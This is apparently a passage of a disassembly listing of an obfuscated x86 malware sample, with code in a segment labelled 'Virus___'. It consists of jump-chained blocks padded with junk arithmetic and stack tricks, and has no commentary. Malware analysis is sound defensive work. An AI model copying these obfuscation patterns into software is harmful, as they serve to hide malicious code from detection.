; ---------------------------------------------------------------------------


loc_5844F7:				; CODE XREF: Virus___:00590C25j
		dec	ecx
		dec	ecx
		jmp	loc_5804FB
; ---------------------------------------------------------------------------


loc_5844FE:				; CODE XREF: Virus___:0059282Ej
		add	al, bh
		pop	ebx
		jmp	loc_58F660
; ---------------------------------------------------------------------------


loc_584506:				; CODE XREF: Virus___:0058E42Bj
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 5D085625h
		sub	[esp+8], ecx
		pop	ecx
		sub	dword ptr [esp+4], 3E523316h
		sub	[esp+4], eax
		add	dword ptr [esp+4], 3E523316h
		add	dword ptr [esp+4], 5D085625h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_584546:				; CODE XREF: Virus___:00583A40j
		add	esp, 4
		push	ecx
		mov	ecx, 782325A7h
		jmp	loc_58B262
; ---------------------------------------------------------------------------


loc_584557:				; CODE XREF: Virus___:00584F3Aj
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		push	328Ch
		mov	[esp], edi
		push	ebp
		push	4EE03ADDh
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4DE87F6Eh
		or	ebp, eax
		pop	eax
		add	ebp, 0B0178005h
		jmp	loc_5896AC
; ---------------------------------------------------------------------------


loc_5845A3:				; CODE XREF: Virus___:00583BF1j
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 0FEh
		and	[edi+1Ch], ecx
		mov	ecx, [esp]
		push	esi
		jmp	loc_593C48
; ---------------------------------------------------------------------------


loc_5845BD:				; CODE XREF: Virus___:0057F6EBj
		pop	edi
		jmp	loc_589BE1
; ---------------------------------------------------------------------------


loc_5845C3:				; CODE XREF: Virus___:00580E8Ej
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_5895BB
; ---------------------------------------------------------------------------


loc_5845D6:				; CODE XREF: Virus___:00580494j
		pop	edi
		add	eax, ebx
		sub	eax, 2A40003Bh
		push	esi
		mov	esi, 706A7D83h
		push	37h
		mov	[esp], ecx
		mov	ecx, 0D382F25h
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 6C56747Dh
		jmp	loc_58F1F7
; ---------------------------------------------------------------------------


loc_584607:				; CODE XREF: Virus___:0058BE3Aj
		mov	edi, 1B7E0948h
		not	edi
		or	edi, 47DB00F6h
		xor	edi, 0C55B067h
		sub	edx, edi
		pop	edi
		add	ebx, 1BB95DF6h
		jmp	loc_582723
; ---------------------------------------------------------------------------


loc_584628:				; CODE XREF: Virus___:00585254j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	eax, 2
		jmp	loc_585550
; ---------------------------------------------------------------------------


loc_584637:				; CODE XREF: Virus___:00593305j
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_58C2C3
; ---------------------------------------------------------------------------


loc_584642:				; CODE XREF: Virus___:00591E4Bj
		add	ecx, 643070A8h
		jmp	loc_590A71
; ---------------------------------------------------------------------------


loc_58464D:				; CODE XREF: Virus___:00585F09j
		mov	eax, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5885D0
; ---------------------------------------------------------------------------


loc_584661:				; CODE XREF: Virus___:00581A04j
		push	ecx
		mov	ecx, 5CCA2F09h
		push	ecx
		jmp	loc_58485B
; ---------------------------------------------------------------------------


loc_58466D:				; CODE XREF: Virus___:00590CECj
		pop	ebx
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, ebp
		pop	ebp
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_589CB2
; ---------------------------------------------------------------------------


loc_58469A:				; CODE XREF: Virus___:0058957Fj
		sub	eax, 19236E56h
		jmp	loc_58B718
; ---------------------------------------------------------------------------


loc_5846A4:				; CODE XREF: Virus___:005943D9j
		push	edx
		add	dword ptr [esp], 1A622AEBh
		pop	eax
		sub	eax, 1A622AEBh
		jmp	loc_590C43
; ---------------------------------------------------------------------------


loc_5846B7:				; CODE XREF: Virus___:00583C14j
		mov	[esp], edx
		jmp	loc_590C2A
; ---------------------------------------------------------------------------


loc_5846BF:				; CODE XREF: Virus___:00590542j
		pop	edi
		jmp	loc_5804E0
; ---------------------------------------------------------------------------


loc_5846C5:				; CODE XREF: Virus___:00581919j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_593DB2
; ---------------------------------------------------------------------------


loc_5846DD:				; CODE XREF: Virus___:0058CC20j
		push	dword ptr [esp]
		jmp	loc_582663
; ---------------------------------------------------------------------------


loc_5846E5:				; CODE XREF: Virus___:005857CBj
		push	ebp
		mov	ebp, 49DF6067h
		mov	esi, ebp
		pop	ebp
		jmp	loc_586CD6
; ---------------------------------------------------------------------------


loc_5846F3:				; CODE XREF: Virus___:0058D570j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_586F2A
; ---------------------------------------------------------------------------


loc_58470B:				; CODE XREF: Virus___:0058F0D6j
		push	ebx
		jmp	loc_590D65
; ---------------------------------------------------------------------------


loc_584711:				; CODE XREF: Virus___:00582223j
		push	3Fh
		mov	[esp], edx
		mov	dh, 68h
		inc	dh
		dec	dh
		and	dh, 1
		and	dh, 0F9h
		push	ebx
		jmp	loc_58DA22
; ---------------------------------------------------------------------------


loc_58472B:				; CODE XREF: Virus___:0058CEEAj
		push	15C1h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58A898
; ---------------------------------------------------------------------------


loc_584746:				; CODE XREF: Virus___:00588E6Ej
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 1141BB2h
		add	eax, 64798Bh
		add	eax, esi
		sub	eax, 64798Bh
		pop	esi
		jmp	loc_58BA62
; ---------------------------------------------------------------------------


loc_58476D:				; CODE XREF: Virus___:00580870j
		push	dword ptr [esp]
		jmp	loc_593AE7
; ---------------------------------------------------------------------------


loc_584775:				; CODE XREF: Virus___:0058B51Dj
		add	esp, 4
		sub	dl, 89h
		shr	dl, 3
		push	eax
		push	ecx
		mov	cl, 17h
		jmp	loc_588911
; ---------------------------------------------------------------------------


loc_584787:				; CODE XREF: Virus___:0058184Ej
		push	edi
		mov	edi, 4
		jmp	loc_58E88D
; ---------------------------------------------------------------------------


loc_584792:				; CODE XREF: Virus___:00580425j
		mov	edx, 551D0830h
		not	edx
		not	edx
		add	edx, 6A447E22h
		dec	edx
		inc	edx
		add	edx, 409E79B2h
		mov	eax, edx
		jmp	loc_58317C
; ---------------------------------------------------------------------------


loc_5847B0:				; CODE XREF: Virus___:0057F619j
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_589B1D
; ---------------------------------------------------------------------------


loc_5847C3:				; CODE XREF: Virus___:0058F14Fj
		pop	ecx
		add	esp, 4
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59002F
; ---------------------------------------------------------------------------


loc_5847D9:				; CODE XREF: Virus___:0058F7FAj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0E6B72h
		mov	edx, esi
		jmp	loc_58C4F0
; ---------------------------------------------------------------------------


loc_5847EB:				; CODE XREF: Virus___:0058E841j
		add	edx, edi
		push	ebp
		mov	ebp, 2FF10807h
		add	edx, 5D553F5h
		add	edx, 3E7875DCh
		jmp	loc_58F7B1
; ---------------------------------------------------------------------------


loc_584804:				; CODE XREF: Virus___:0058E35Bj
		mov	esp, [esp]
		jmp	loc_592E68
; ---------------------------------------------------------------------------


loc_58480C:				; CODE XREF: Virus___:005840EAj
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_593046
; ---------------------------------------------------------------------------


loc_58482D:				; CODE XREF: Virus___:0057FB4Dj
		push	edi
		jmp	loc_5934A5
; ---------------------------------------------------------------------------


loc_584833:				; CODE XREF: Virus___:00581684j
		sub	esp, 4
		mov	[esp], edi
		push	6C66h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_58AA48
; ---------------------------------------------------------------------------


loc_58484A:				; CODE XREF: Virus___:00586D26j
		add	edi, 4
		sub	edi, 4
		jmp	loc_585B4F
; ---------------------------------------------------------------------------


loc_58485B:				; CODE XREF: Virus___:00584668j
		push	ebx
		jmp	loc_57F62C
; ---------------------------------------------------------------------------


loc_584861:				; CODE XREF: Virus___:005863C3j
		mov	esi, 67DE37F5h
		shl	esi, 3
		add	esi, 0AFA1737h
		dec	esi
		push	edx
		jmp	loc_5802E4
; ---------------------------------------------------------------------------


loc_584876:				; CODE XREF: Virus___:00587EEDj
		pop	esi
		jmp	loc_58A754
; ---------------------------------------------------------------------------


loc_58487C:				; CODE XREF: Virus___:00593F93j
		sub	esi, 70B4421Ah
		sub	esi, ecx
		add	esi, 70B4421Ah
		jmp	loc_590103
; ---------------------------------------------------------------------------


loc_58488F:				; CODE XREF: Virus___:00590C2Cj
		neg	dl
		jmp	loc_58CAFF
; ---------------------------------------------------------------------------


loc_584896:				; CODE XREF: Virus___:00593A38j
		add	esi, eax
		pop	eax
		push	ebp
		mov	ebp, 2
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_590F9C
; ---------------------------------------------------------------------------


loc_5848B5:				; CODE XREF: Virus___:005910F9j
		add	bl, 0C9h
		add	bl, 10h
		mov	eax, [esp]
		add	esp, 4
		xor	bl, 96h
		jmp	loc_589865
; ---------------------------------------------------------------------------


loc_5848C9:				; CODE XREF: Virus___:005921E7j
		pop	esi
		add	ebp, 0FFFFFFFFh
		not	ebp
		push	eax
		mov	eax, 6FF23017h
		xor	eax, 24E03225h
		jmp	loc_5844C7
; ---------------------------------------------------------------------------


loc_5848DF:				; CODE XREF: Virus___:0058CC63j
		inc	edx
		jmp	loc_58A408
; ---------------------------------------------------------------------------


loc_5848E5:				; CODE XREF: Virus___:0058762Cj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		jmp	loc_58D21F
; ---------------------------------------------------------------------------


loc_5848FB:				; CODE XREF: Virus___:0058BF1Cj
		add	ecx, 77B44C77h
		add	ecx, esi
		jmp	loc_58F13B
; ---------------------------------------------------------------------------


loc_584908:				; CODE XREF: Virus___:0058A389j
		pop	eax
		jmp	loc_58E7EF
; ---------------------------------------------------------------------------


loc_58490E:				; CODE XREF: Virus___:0058B88Cj
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 0AD4AA50Dh
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	[edi+1Ch], edx
		jmp	loc_582148
; ---------------------------------------------------------------------------


loc_58492D:				; CODE XREF: Virus___:005860E7j
		sub	eax, 3BFE4DCFh
		jmp	loc_58E7FF
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58493F:				; CODE XREF: Virus___:00591D23j
		pop	ebp
		add	edi, 4
		push	407h
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 698A2D5Eh
		xor	eax, 698A2D5Ah
		add	esi, eax
		pop	eax
		sub	esi, 4
		jmp	loc_58D2E9
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_591A08
; ---------------------------------------------------------------------------


loc_58497E:				; CODE XREF: Virus___:0058B9BCj
		xor	eax, ebp
		jmp	loc_58D953
; ---------------------------------------------------------------------------


loc_584985:				; CODE XREF: Virus___:0058ECA9j
		mov	esi, 17230209h
		jmp	loc_591FF5
; ---------------------------------------------------------------------------


loc_58498F:				; CODE XREF: Virus___:0058FF28j
		mov	edi, esp
		add	edi, 4
		push	ebp
		push	1B8C4664h
		jmp	loc_58B3FD
; ---------------------------------------------------------------------------


loc_5849A2:				; CODE XREF: Virus___:0058394Fj
		push	esp
		jmp	loc_58812E
; ---------------------------------------------------------------------------


loc_5849A8:				; CODE XREF: Virus___:00581F5Ej
		push	esi
		jmp	loc_58A0A6
; ---------------------------------------------------------------------------


loc_5849AE:				; CODE XREF: Virus___:00581674j
		dec	ecx
		or	ecx, 1D53AB0h
		sub	ecx, 34AF2CA9h
		or	ecx, 5321177Bh
		sub	ecx, 0A8E23253h
		add	eax, ecx
		jmp	loc_58B828
; ---------------------------------------------------------------------------


loc_5849CE:				; CODE XREF: Virus___:00586469j
		add	esp, 4
		push	ebp
		mov	ebp, 7D001267h
		neg	ebp
		inc	ebp
		xor	ebp, 82FFED9Eh
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, 2
		push	4E50h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_58A623
; ---------------------------------------------------------------------------


loc_584A05:				; CODE XREF: Virus___:00585671j
		xchg	eax, ebx
		dec	eax
		xchg	eax, ebx
		add	ebx, 4677273Eh
		jmp	loc_590C38
; ---------------------------------------------------------------------------


loc_584A13:				; CODE XREF: Virus___:00587FE9j
		pop	ebp
		sub	esp, 4
		jmp	loc_58E3F3
; ---------------------------------------------------------------------------


loc_584A1C:				; CODE XREF: Virus___:0059029Ej
		or	esi, 91F4044h
		sub	esi, 6B5CCB98h
		dec	esi
		shl	esi, 6
		push	ebp
		push	esi
		mov	esi, 242A0BE6h
		not	esi
		push	eax
		mov	eax, 8153E875h
		xor	esi, eax
		pop	eax
		jmp	loc_58FC72
; ---------------------------------------------------------------------------


loc_584A43:				; CODE XREF: Virus___:00588581j
		push	ebx
		jmp	loc_582318
; ---------------------------------------------------------------------------


loc_584A49:				; CODE XREF: Virus___:0058B544j
		mov	ecx, [esp]
		add	esp, 4
		add	esi, ebx
		pop	ebx
		dec	esi
		xor	esi, 2296199Ah
		add	esi, 8BEC47A0h
		sub	eax, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_58E797
; ---------------------------------------------------------------------------


loc_584A7B:				; CODE XREF: Virus___:0058773Bj
		add	esp, 4
		xor	al, cl
		mov	cx, [esp]
		jmp	loc_59280C
; ---------------------------------------------------------------------------


loc_584A89:				; CODE XREF: Virus___:00588D36j
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_584AA0:				; CODE XREF: Virus___:005841EFj
		pop	edx
		xor	al, bl
		pop	ebx
		push	36D8h
		mov	[esp], eax
		push	edx
		mov	dl, 6Bh
		mov	ah, dl
		pop	edx
		xor	ah, 6Ah
		push	cx
		mov	ch, 0FAh
		xor	ah, ch
		pop	cx
		jmp	loc_5908E7
; ---------------------------------------------------------------------------


loc_584AC2:				; CODE XREF: Virus___:005893B9j
		pop	ebp
		push	ebp
		push	edi
		mov	edi, 2B0D4534h
		jmp	loc_58134D
; ---------------------------------------------------------------------------


loc_584ACF:				; CODE XREF: Virus___:00591BFBj
		mov	ebp, [esp]
		add	esp, 4
		add	edi, 6C966722h
		push	ecx
		mov	ecx, 16AE4D1Eh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1C461B93h
		add	edi, 3DFB0585h
		sub	edi, ebp
		sub	edi, 3DFB0585h
		jmp	loc_59312E
; ---------------------------------------------------------------------------


loc_584B02:				; CODE XREF: Virus___:00587DC0j
		mov	si, 5BCEh
		inc	si
		dec	si
		xor	si, 30CCh
		add	dx, si
		pop	esi
		jmp	loc_58D032
; ---------------------------------------------------------------------------


loc_584B18:				; CODE XREF: Virus___:005924C7j
		add	edi, ecx
		jmp	loc_583DE9
; ---------------------------------------------------------------------------


loc_584B1F:				; CODE XREF: Virus___:00589D69j
		push	edi
		mov	edi, 5AE87FFBh
		jmp	loc_58334C
; ---------------------------------------------------------------------------


loc_584B2A:				; CODE XREF: Virus___:00583982j
		and	cl, 0CAh
		add	cl, 89h
		xor	cl, 4Bh
		push	ebx
		mov	bh, 3
		and	bh, 67h
		xor	bh, 0A5h
		sub	cl, bh
		jmp	loc_581E90
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5937BB
; ---------------------------------------------------------------------------


loc_584B4C:				; CODE XREF: Virus___:00586BCAj
		push	eax
		push	ebx
		jmp	loc_58AE13
; ---------------------------------------------------------------------------


loc_584B53:				; CODE XREF: Virus___:0057FCE2j
		mov	ebx, 69C36C86h
		or	edx, ebx
		pop	ebx
		push	eax
		mov	eax, 0EDDF6EE3h
		sub	edx, eax
		pop	eax
		add	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, 60F0357Eh
		inc	ecx
		shr	ecx, 4
		shr	ecx, 8
		jmp	loc_585BF1
; ---------------------------------------------------------------------------


loc_584B79:				; CODE XREF: Virus___:005851DAj
		add	eax, 0EDEF087Eh
		sub	ebx, eax
		pop	eax
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_592940
		push	dword ptr [edi+1Ch]
		jmp	loc_58ADAA
; ---------------------------------------------------------------------------


loc_584B9C:				; CODE XREF: Virus___:0058898Bj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_58315C
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		mov	edx, 35030B7Fh
		sub	eax, edx
		jmp	loc_5915AC
; ---------------------------------------------------------------------------


loc_584BC2:				; CODE XREF: Virus___:00585CC9j
		add	esi, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 76523181h
		jmp	loc_590D11
; ---------------------------------------------------------------------------


loc_584BDB:				; CODE XREF: Virus___:00587D8Fj
		push	ebp
		mov	ebp, 68E921BFh
		or	ebp, 1B3C1FF4h
		jmp	loc_591BA4
; ---------------------------------------------------------------------------


loc_584BEC:				; CODE XREF: Virus___:0058200Cj
		shr	eax, 0Ch
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		push	0C2h
		mov	[esp], edx
		jmp	loc_5939DD
; ---------------------------------------------------------------------------


loc_584C0D:				; CODE XREF: Virus___:0058FB16j
		xor	ebp, 472B4F03h
		xor	ebp, 68DC2D94h
		jmp	loc_58A204
; ---------------------------------------------------------------------------


loc_584C1E:				; CODE XREF: Virus___:0058101Cj
		xor	ebp, 7A90EDCAh
		shr	ebp, 7
		sub	ebp, 0FFFFFFFFh
		or	ebp, 14C216F0h
		shl	ebp, 6
		push	edx
		push	ecx
		jmp	loc_585986
; ---------------------------------------------------------------------------


loc_584C3A:				; CODE XREF: Virus___:005872F3j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_584C56:				; CODE XREF: Virus___:005893A3j
		push	edx
		mov	edx, 6D83331Dh
		push	esi
		mov	esi, 1C611EC5h
		or	esi, 5A804CC7h
		jmp	loc_58A36C
; ---------------------------------------------------------------------------


loc_584C6D:				; CODE XREF: Virus___:00580324j
		mov	edi, ebx
		pop	ebx
		jmp	loc_58DEE4
; ---------------------------------------------------------------------------


loc_584C75:				; CODE XREF: Virus___:00586C84j
		mov	ebp, 4
		sub	dword ptr [esp+4], 3F20A21h
		add	[esp+4], ebp
		jmp	loc_591C57
; ---------------------------------------------------------------------------


loc_584C8B:				; CODE XREF: Virus___:00585905j
		mov	esi, [esp]
		add	esp, 4
		xor	edi, 0E860D77h
		jmp	loc_57F843
; ---------------------------------------------------------------------------


loc_584C9F:				; CODE XREF: Virus___:0059427Ej
		mov	ebp, 3A397150h
		push	eax
		mov	eax, 22C0A30Ch
		add	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_58E80E
; ---------------------------------------------------------------------------


loc_584CB8:				; CODE XREF: Virus___:0057FC39j
		pop	ebp
		jmp	loc_58E15E
; ---------------------------------------------------------------------------


loc_584CBE:				; CODE XREF: Virus___:00580E4Ej
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_587238
; ---------------------------------------------------------------------------


loc_584CD4:				; CODE XREF: Virus___:005824DAj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		jmp	loc_5819BB
; ---------------------------------------------------------------------------


loc_584CEA:				; CODE XREF: Virus___:0058B537j
		not	edi
		push	ecx
		push	ebp
		mov	ebp, 0A06BC1AAh
		mov	ecx, ebp
		pop	ebp
		add	edi, ecx
		pop	ecx
		sub	eax, edi
		jmp	loc_58909E
; ---------------------------------------------------------------------------


loc_584D00:				; CODE XREF: Virus___:0058E4FFj
		sub	esi, 207B4575h
		jmp	loc_587BC0
; ---------------------------------------------------------------------------


loc_584D0B:				; CODE XREF: Virus___:0059336Ej
		or	ebx, ebx
		jnz	loc_590EE7
		push	316Ch
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 2F657027h
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_58333A
; ---------------------------------------------------------------------------


loc_584D34:				; CODE XREF: Virus___:005891C3j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 42E0450Ah
		push	eax
		mov	eax, 55F428A7h
		or	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 378652C3h
		sub	edx, 1
		jmp	loc_5802D8
; ---------------------------------------------------------------------------


loc_584D5F:				; CODE XREF: Virus___:0058A8DEj
		mov	esp, [esp]
		push	ebp
		jmp	loc_586F8B
; ---------------------------------------------------------------------------


loc_584D68:				; CODE XREF: Virus___:0058808Dj
		sub	esi, 0FFFFFFFFh
		and	esi, 7B6E759Bh
		push	edx
		jmp	loc_58C3BE
; ---------------------------------------------------------------------------


loc_584D77:				; CODE XREF: Virus___:00583DBBj
		add	edx, esi
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		push	0FD4h
		mov	[esp], edi
		push	ebp
		mov	ebp, 299D2091h
		mov	edi, 299D2095h
		sub	edi, ebp
		jmp	loc_594283
; ---------------------------------------------------------------------------


loc_584D9D:				; CODE XREF: Virus___:0058BA53j
		mov	edi, 47B01CDDh
		sub	[esp+8], edi
		pop	edi
		push	ebp
		mov	ebp, 54FF03CCh
		sub	[esp+8], ebp
		jmp	loc_581723
; ---------------------------------------------------------------------------


loc_584DB6:				; CODE XREF: Virus___:0058E6C1j
		neg	ebp
		dec	ebp
		jmp	loc_588BDA
; ---------------------------------------------------------------------------


loc_584DBE:				; CODE XREF: Virus___:0059054Ej
		xor	ebx, 586963BBh
		jmp	loc_58EF6F
; ---------------------------------------------------------------------------


loc_584DC9:				; CODE XREF: Virus___:0058628Fj
		push	eax
		jmp	loc_5938DF
; ---------------------------------------------------------------------------


loc_584DCF:				; CODE XREF: Virus___:0058C35Ej
		pop	esp
		push	ebx
		push	2DADh
		mov	[esp], esp
		jmp	loc_582068
; ---------------------------------------------------------------------------


loc_584DDE:				; CODE XREF: Virus___:00590EAEj
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	62431283h
		pop	edi
		mov	ebx, edi
		pop	edi
		push	ebx
		push	edi
		mov	edi, 7DC14FAEh
		jmp	loc_58FA53
; ---------------------------------------------------------------------------


loc_584DFE:				; CODE XREF: Virus___:00589234j
		add	ebx, edi
		pop	edi
		add	edi, 51795165h
		add	edi, ebx
		sub	edi, 51795165h
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_590072
; ---------------------------------------------------------------------------


loc_584E20:				; CODE XREF: Virus___:0058B01Fj
		push	esp
		jmp	loc_58D18E
; ---------------------------------------------------------------------------


loc_584E26:				; CODE XREF: Virus___:00590E50j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	ecx
		xchg	ch, [esp]
		not	ch
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 2
		xchg	edi, [esp]
		jmp	loc_58A7DF
; ---------------------------------------------------------------------------


loc_584E47:				; CODE XREF: Virus___:0058A414j
		push	esi
		push	esp
		pop	esi
		jmp	loc_592E51
; ---------------------------------------------------------------------------


loc_584E4F:				; CODE XREF: Virus___:005833F3j
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	0B8h
		mov	[esp], ebp
		jmp	loc_584109
; ---------------------------------------------------------------------------


loc_584E6D:				; CODE XREF: Virus___:0058E117j
		mov	bh, 0B4h
		jmp	loc_58E21B
; ---------------------------------------------------------------------------


loc_584E74:				; CODE XREF: Virus___:00585B97j
		add	edx, ecx
		jmp	loc_586FA6
; ---------------------------------------------------------------------------


loc_584E7B:				; CODE XREF: Virus___:0059280Dj
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	ah, 70h
		jmp	loc_58D367
; ---------------------------------------------------------------------------


loc_584EA0:				; CODE XREF: Virus___:00590C92j
		xor	ah, 4Dh
		xor	dl, ah
		jmp	loc_58D309
; ---------------------------------------------------------------------------


loc_584EAA:				; CODE XREF: Virus___:00587561j
		add	ebx, 2D7F2EC3h
		add	ebx, 0E28407ECh
		mov	esi, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_58B5E9
; ---------------------------------------------------------------------------


loc_584EC1:				; CODE XREF: Virus___:0058C7DEj
		xor	ebx, 902D729Fh
		add	[esp+4], ebx
		jmp	loc_587021
; ---------------------------------------------------------------------------


loc_584ED0:				; CODE XREF: Virus___:0058316Bj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	76DFh
		mov	[esp], eax
		jmp	loc_585F02
; ---------------------------------------------------------------------------


loc_584EEE:				; CODE XREF: Virus___:00587752j
		push	ebp
		jmp	loc_583D9D
; ---------------------------------------------------------------------------


loc_584EF4:				; CODE XREF: Virus___:0058EEB6j
		pop	esi
		sub	ecx, 16FA5EA9h
		jmp	loc_592AC6
; ---------------------------------------------------------------------------


loc_584F00:				; CODE XREF: Virus___:00585C1Dj
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		shl	ebx, 7
		shl	ebx, 8
		jmp	loc_58031C
; ---------------------------------------------------------------------------


loc_584F10:				; CODE XREF: Virus___:00592D1Aj
		xor	esi, edx
		pop	edx
		jmp	loc_58739F
; ---------------------------------------------------------------------------


loc_584F18:				; CODE XREF: Virus___:005827E6j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_583710
; ---------------------------------------------------------------------------


loc_584F2D:				; CODE XREF: Virus___:005872B8j
		add	bl, al
		jmp	loc_592067
; ---------------------------------------------------------------------------


loc_584F34:				; CODE XREF: Virus___:005862F0j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_584557
; ---------------------------------------------------------------------------


loc_584F3F:				; CODE XREF: Virus___:00586CADj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], dx
		mov	dl, 5Ah
		push	ebx
		mov	bh, 67h
		add	bh, 1
		jmp	loc_58BF21
; ---------------------------------------------------------------------------


loc_584F54:				; CODE XREF: Virus___:0058BD1Bj
		pop	esi
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_583A3C
; ---------------------------------------------------------------------------


loc_584F64:				; CODE XREF: Virus___:0058678Dj
		xor	esi, 8F71E690h
		add	ebp, esi
		jmp	loc_583EA5
; ---------------------------------------------------------------------------


loc_584F71:				; CODE XREF: Virus___:0058B375j
		sub	ebx, 4B142679h
		shr	ebx, 7
		or	ebx, 7978449Bh
		add	ebx, 9DEC8D61h
		add	eax, 2807497Dh
		add	eax, ebx
		sub	eax, 2807497Dh
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		push	914h
		mov	[esp], ecx
		push	50CA703Bh
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58042A
; ---------------------------------------------------------------------------


loc_584FBA:				; CODE XREF: Virus___:0058661Dj
		xchg	esi, [esp]
		jmp	loc_582836
; ---------------------------------------------------------------------------


loc_584FC2:				; CODE XREF: Virus___:0058C919j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		jmp	loc_5855B3
; ---------------------------------------------------------------------------


loc_584FE0:				; CODE XREF: Virus___:00589C15j
		pop	bx
		add	bl, 1
		jmp	loc_59420F
; ---------------------------------------------------------------------------


loc_584FEA:				; CODE XREF: Virus___:00585912j
		push	esi
		mov	esi, 66923DF1h
		not	esi
		xor	esi, 2A180CE2h
		jmp	loc_58F21F
